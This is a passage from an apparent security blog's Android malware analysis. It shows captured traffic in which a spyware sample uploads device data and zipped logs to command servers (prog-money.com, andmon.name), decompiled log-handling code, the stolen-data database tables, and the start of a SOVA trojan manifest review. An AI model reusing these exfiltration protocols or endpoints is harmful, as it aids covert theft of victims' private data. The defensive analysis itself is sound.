&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>act=settings&amp;amp;access=3b2f38d2b6209573&amp;amp;battery_level=100.0&amp;amp;battery_plug=0&amp;amp;battery_status=4&amp;amp;net_class=WIFI&amp;amp;net_strength=4&amp;amp;start_prog=1667748898&amp;amp;screen_on=0&amp;amp;screen_off=0&amp;amp;date_time_now=11.06.2022 05:35&amp;amp;build=20221001&amp;amp;sdk=29&amp;amp;mfr=google&amp;amp;prog_ver=1013&amp;amp;location_enabled=passive|gps|network|&amp;amp;is_root=1&amp;amp;is_sys=0&amp;amp;mem=5527&amp;amp;get_mail=1&amp;amp;mail_upd=20171101&amp;amp;get_viber_inform=1&amp;amp;permissions=-1&amp;amp;get_settings=1&amp;amp;cm=0&amp;amp;count=2&amp;amp;lang=en&amp;amp;country=US&amp;amp;app_list=Y29tLmdvb2dsZS5hbmRyb2lkLnlvdXR1YmUsWW91VHViZXxjb20uZ29vZ2xlLmFuZHJvaWQuZ29vZ2xlcXVpY2tzZWFyY2hib3gsR29vZ2xlfGNvbS5hbmRyb2lkLmRvY3VtZW50c3VpLEZpbGVzfGNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLm1lc3NhZ2luZyxNZXNzYWdlc3xjb20uYW5kcm9pZC5jb250YWN0cyxDb250YWN0c3xjb20uZ29vZ2xlLmFuZHJvaWQuZGVza2Nsb2NrLENsb2NrfGNvbS5nb29nbGUuYW5kcm9pZC5nbSxHbWFpbHxjb20uZ29vZ2xlLmFuZHJvaWQuYW5nbGUsQW5kcm9pZCBTeXN0ZW0gQW5nbGV8Y29tLmdvb2dsZS5hbmRyb2lkLm11c2ljLEdvb2dsZSBQbGF5IE11c2ljfGNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLmRvY3MsRHJpdmV8Y29tLmdvb2dsZS5hbmRyb2lkLmFwcHMubWFwcyxNYXBzfGNvbS5hbmRyb2lkLmNocm9tZSxDaHJvbWV8Y29tLmFuZHJvaWQuZGlhbGVyLFBob25lfGNvbS5nb29nbGUuYW5kcm9pZC52aWRlb3MsR29vZ2xlIFBsYXkgTW92aWVzICYgVFZ8Y29tLnRvcGpvaG53dS5tYWdpc2ssTWFnaXNrfGNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLnBob3RvcyxQaG90b3N8Y29tLmdvb2dsZS5hbmRyb2lkLmNhbGVuZGFyLENhbGVuZGFyfGNvbS5hbmRyb2lkLnNldHRpbmdzLFNldHRpbmdzfGNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLndhbGxwYXBlcixXYWxscGFwZXJzfGNvbS5hbmRyb2lkLnRyYWNldXIsU3lzdGVtIFRyYWNpbmd8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HTTP/1.1 200 OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Date: Sun, 06 Nov 2022 15:35:37 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Server: Apache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>X-Powered-By: PHP/5.3.29
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade: h2,h2c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection: Upgrade, close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: text/html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: 133
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{&amp;#34;msg&amp;#34;:&amp;#34;Device not found&amp;#34;,&amp;#34;access&amp;#34;:&amp;#34;3b2f38d2b6209573&amp;#34;,&amp;#34;active&amp;#34;:false,&amp;#34;get_access_again&amp;#34;:true,&amp;#34;error&amp;#34;:false,&amp;#34;time_ms&amp;#34;:0.0810370445251}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>app_list&lt;/code> parameter contains a list of installed packages encoded using base64:&lt;/p>
&lt;pre tabindex="0">&lt;code>com.google.android.youtube,YouTube|com.google.android.googlequicksearchbox,Google|com.android.documentsui,Files|com.google.android.apps.messaging,Messages|com.android.contacts,Contacts|com.google.android.deskclock,Clock|com.google.android.gm,Gmail|
&lt;/code>&lt;/pre>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">GET&lt;/span> /file-log.html &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> AM/20221001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-length&lt;span style="color:#fe8019">:&lt;/span> 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type&lt;span style="color:#fe8019">:&lt;/span> application/json; charset=utf8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> prog-money.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HTTP/&lt;span style="color:#d3869b">1.1&lt;/span> &lt;span style="color:#d3869b">200&lt;/span> OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Date: Sun, &lt;span style="color:#d3869b">06&lt;/span> Nov &lt;span style="color:#d3869b">2022&lt;/span> &lt;span style="color:#d3869b">15&lt;/span>:&lt;span style="color:#d3869b">35&lt;/span>:&lt;span style="color:#d3869b">07&lt;/span> GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Server: Apache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade: h&lt;span style="color:#d3869b">2&lt;/span>,h&lt;span style="color:#d3869b">2&lt;/span>c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection: Upgrade, close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Last-Modified: Wed, &lt;span style="color:#d3869b">18&lt;/span> May &lt;span style="color:#d3869b">2022&lt;/span> &lt;span style="color:#d3869b">15&lt;/span>:&lt;span style="color:#d3869b">04&lt;/span>:&lt;span style="color:#d3869b">36&lt;/span> GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Ranges: bytes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: &lt;span style="color:#d3869b">26&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: text/html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>http:&lt;span style="color:#928374;font-style:italic">//andmon.name/log.php
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">POST&lt;/span> /log.php &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> AM/20221001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENCTYPE&lt;span style="color:#fe8019">:&lt;/span> multipart/form-data
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type&lt;span style="color:#fe8019">:&lt;/span> multipart/form-data; boundary=N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> andmon.name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length&lt;span style="color:#fe8019">:&lt;/span> 1095
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;act&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>send_log
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;access&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>3b2f38d2b6209573
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;prog_ver&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>1013
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;build&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>20221001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;chunk_id&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>3b2f38d2b6209573_1667748906932
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;chunk_start&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;chunk_length&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>217
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;file_size&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>217
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;file_name&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>%2Fstorage%2Femulated%2F0%2F.am%2Flog_1667748898654.txt.zip
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Disposition: form-data; name=&amp;#34;UploadFile&amp;#34;;filename=&amp;#34;log_1667748898654.txt.zip&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PK��c�fU���������������log_1667748898654.txt30�34�3202R04�26�2���236���M�̳��R��2��Rb��݃}�\���PKw�&amp;gt;=���=���PK���c�fUw�&amp;gt;=���=��������������������log_1667748898654.txtPK������C���������
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>--N7RpqbQT9U8b--
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HTTP/1.1 200 OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Date: Sun, 06 Nov 2022 15:35:09 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Server: Apache/2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade: h2,h2c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection: Upgrade, close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>X-Powered-By: PHP/5.6.31
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Vary: Accept-Encoding,User-Agent
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: 101
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: text/html; charset=UTF-8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{&amp;#34;file_size&amp;#34;:217,&amp;#34;file_name&amp;#34;:&amp;#34;log_1667748898654.txt.zip&amp;#34;,&amp;#34;error&amp;#34;:false,&amp;#34;time_ms&amp;#34;:0.00061607360839844}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> String &lt;span style="color:#fabd2f">GetProgramPath&lt;/span>&lt;span style="color:#fe8019">()&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>g_program_path &lt;span style="color:#fe8019">==&lt;/span> &lt;span style="color:#fe8019">null&lt;/span>&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> g_program_path &lt;span style="color:#fe8019">=&lt;/span> String&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">valueOf&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>Environment&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getExternalStorageDirectory&lt;/span>&lt;span style="color:#fe8019">().&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getAbsolutePath&lt;/span>&lt;span style="color:#fe8019">())&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;/.am/&amp;#34;&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> g_program_path&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> &lt;span style="color:#fabd2f">void&lt;/span> &lt;span style="color:#fabd2f">StartLogFile&lt;/span>&lt;span style="color:#fe8019">()&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File file &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> File&lt;span style="color:#fe8019">(&lt;/span>GetProgramPath&lt;span style="color:#fe8019">());&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>file&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">exists&lt;/span>&lt;span style="color:#fe8019">())&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File file2 &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> File&lt;span style="color:#fe8019">(&lt;/span>file&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;log_checker.txt&amp;#34;&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(!&lt;/span>file2&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">exists&lt;/span>&lt;span style="color:#fe8019">())&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> file2&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">renameTo&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fe8019">new&lt;/span> File&lt;span style="color:#fe8019">(&lt;/span>file&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;log_checker_&amp;#34;&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> String&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">valueOf&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>getTimeMs&lt;span style="color:#fe8019">())&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;.txt&amp;#34;&lt;/span>&lt;span style="color:#fe8019">));&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="media/dropped-files-sdcard.png" alt="">&lt;/p>
&lt;p>Logs collected:&lt;/p>
&lt;p>&lt;img src="media/collected-logs.png" alt="">&lt;/p>
&lt;p>&lt;img src="media/sqlite-db.png" alt="">&lt;/p>
&lt;p>The &lt;code>SettingsDB&lt;/code> sqlite3 database contains the following tables:&lt;/p>
&lt;pre tabindex="0">&lt;code>accessibility_cmds
android_metadata
apps
apps_tmp
calls
cams
contacts
contacts_tmp1
device_info
dex_table
gps
info
mail_params
mess
notify
process_history
settings
siminfo
sms
sounds
viber_inform_params
viber_inform_sender_params
web_history
&lt;/code>&lt;/pre>&lt;p>Something I didn&amp;rsquo;t know is that the emulator has a SIM card. This and other information like IMEI could be used by threat actors in order to implement Sandbox Evasion checks. One can find such values using the &lt;code>adb shell getprop&lt;/code> command.&lt;/p>
&lt;p>Some examples include:&lt;/p>
&lt;ul>
&lt;li>&lt;code>ro.vendor.build.fingerprint&lt;/code>&lt;/li>
&lt;li>&lt;code>ro.serialno&lt;/code>&lt;/li>
&lt;li>&lt;code>ro.product.vendor.name&lt;/code>&lt;/li>
&lt;li>&lt;code>ro.product.vendor.model&lt;/code>&lt;/li>
&lt;li>&lt;code>ro.product.vendor.device&lt;/code>&lt;/li>
&lt;li>&lt;code>ro.build.product&lt;/code>&lt;/li>
&lt;li>&lt;code>gsm.operator.numeric&lt;/code>&lt;/li>
&lt;/ul>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://android.googlesource.com/platform/frameworks/base/+/refs/heads/master">https://android.googlesource.com/platform/frameworks/base/+/refs/heads/master&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.amazon.com/Android-Security-Internals-Depth-Architecture/dp/1593275811">https://www.amazon.com/Android-Security-Internals-Depth-Architecture/dp/1593275811&lt;/a>&lt;/li>
&lt;/ul></content></item><item><title>SOVA Android Trojan</title><link>https://blog.mpapad.online/1/01/sova-android-trojan/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://blog.mpapad.online/1/01/sova-android-trojan/</guid><description>AndroidManifest.xml The Android manifest file contains a list of permissions, activities, and services that an app provides. It is a contract between the application and the Android operating system.
Package Name &amp;lt;manifest ... package=&amp;#34;com.bean.cousin&amp;#34; &amp;gt; &amp;lt;uses-sdk android:minSdkVersion=&amp;#34;24&amp;#34; android:targetSdkVersion=&amp;#34;32&amp;#34;/&amp;gt; The application package is: com.bean.cousin
Required Permissions &amp;lt;uses-feature android:name=&amp;#34;android.hardware.telephony&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.WAKE_LOCK&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.QUERY_ALL_PACKAGES&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.ACCESS_WIFI_STATE&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.ACCESS_NETWORK_STATE&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.RECEIVE_BOOT_COMPLETED&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.USE_FINGERPRINT&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.GET_TASKS&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;com.google.android.gms.permission.ACTIVITY_RECOGNITION&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.READ_EXTERNAL_STORAGE&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.permission.RECEIVE_LAUNCH_BROADCASTS&amp;#34;/&amp;gt; &amp;lt;uses-permission android:name=&amp;#34;android.</description><content>&lt;h2 id="androidmanifestxml">AndroidManifest.xml&lt;/h2>
&lt;p>The Android manifest file contains a list of permissions, activities, and services that an app provides. It is a contract between the application and the Android operating system.&lt;/p>
&lt;h4 id="package-name">Package Name&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;manifest&lt;/span> ... &lt;span style="color:#b8bb26;font-weight:bold">package=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.bean.cousin&amp;#34;&lt;/span> &lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-sdk&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:minSdkVersion=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;24&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:targetSdkVersion=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;32&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The application package is: &lt;code>com.bean.cousin&lt;/code>&lt;/p>
&lt;h4 id="required-permissions">Required Permissions&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-feature&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.hardware.telephony&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WAKE_LOCK&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.QUERY_ALL_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_WIFI_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_NETWORK_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECEIVE_BOOT_COMPLETED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.USE_FINGERPRINT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.GET_TASKS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.google.android.gms.permission.ACTIVITY_RECOGNITION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_EXTERNAL_STORAGE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
